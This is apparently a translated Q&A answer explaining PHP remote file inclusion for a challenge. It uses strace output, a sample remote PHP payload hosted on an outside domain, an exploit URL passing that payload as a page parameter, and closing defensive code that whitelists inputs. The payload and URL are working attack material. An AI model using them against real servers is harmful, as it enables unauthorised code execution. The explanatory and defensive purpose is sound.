我认为它不起作用,因为您正在通过安全检查。
我跑去strace
看 PHP 在包含一个合法名称的文件(尽管不存在)和一个非法名称的文件时做了什么。它的行为不同:
lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning: include(): Failed "..., 154
PHP Warning: include(): Failed opening 'legal.inc.php' for inclusion...
write(2, "PHP Warning: include(): Failed "..., 148
PHP Warning: include(): Failed opening 'illegal' for inclusion...
所以从上面你可以看到合法的文件名在文件系统上被检查了两次——即使 PHP 发现文件不存在(这个额定 0.2 kWTF)并发出错误,也会尝试打开。
非法文件名发出相同的错误,但甚至没有尝试检查文件是否存在。
我很有信心,如果我检查 PHP 源代码,我会发现一些测试会伪造“此文件不在这里”错误,而实际上 PHP 决定不打开该文件,无论它是否存在。
远程文件包含
“文件包含”漏洞意味着您可以向服务器发送一些内容,使其能够include()
(并执行)您选择的文件。该文件可以是本地的(本地文件包含或 LFI)或远程 (RFI)。
要利用 RFI,您需要不同域上的远程文件;不是您要测试的那个,而是另一个。
这个远程文件,而不是本地文件,必须在您的控制之下。
远程文件的内容必须使易受攻击的服务器包含它;也就是说,它必须是有效的 PHP。
远程文件一旦包含在内,将在易受攻击的服务器内执行,因此可以访问其本地文件(但不再访问远程文件)。
因此,如果远程文件显示“ include('index.php');
”或“指令” die(file_get_contents('index.php'));
,它将读取的不是远程服务器的 index.php,而是易受攻击服务器的 index.php(这是我们想要做的)。
同时,远程文件将在远程服务器上执行,因此我们希望它执行一些 PHP 代码,该代码将显示另一个 PHP 代码。
例如,这是以下内容http://www.serni.org/i.inc.php
:
<?php
// The outer code is just a print.
print <<<INNER_CODE
<?php
// This is a sample remote file inclusion vulnerability.
// It will simply count how many files there are in the
// vulnerable script's directory.
\$files = count(glob('*.*'));
print "This folder contains {\$files} files.";
// Just sayin'.
// shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;
如果您将其http://www.serni.org/i.inc.php
用作资源,并且 RFI 有效,则易受攻击的页面将返回该目录中的文件数。
G1mm3 th3 cod3z (TL;DR;DT)
http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi
如何防守
显然,清理你的输入。或者更好的是,将它们列入白名单,并且只允许非常简单的组合。除非您需要包含远程资源(发生这种情况),否则请设置allow_url_fopen
为false。
$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
$actual_file = realpath("external_resources/{$resource}.php");
// We could verify that actual_file matches _SERVER_ROOT/external...
if (file_exists($actual_file)) {
include $actual_file;
$ok = true;
}
}
if (!$ok) {
// We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
$resource = basename(strip_tags($resource));
// Mess a little with people's heads.
die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}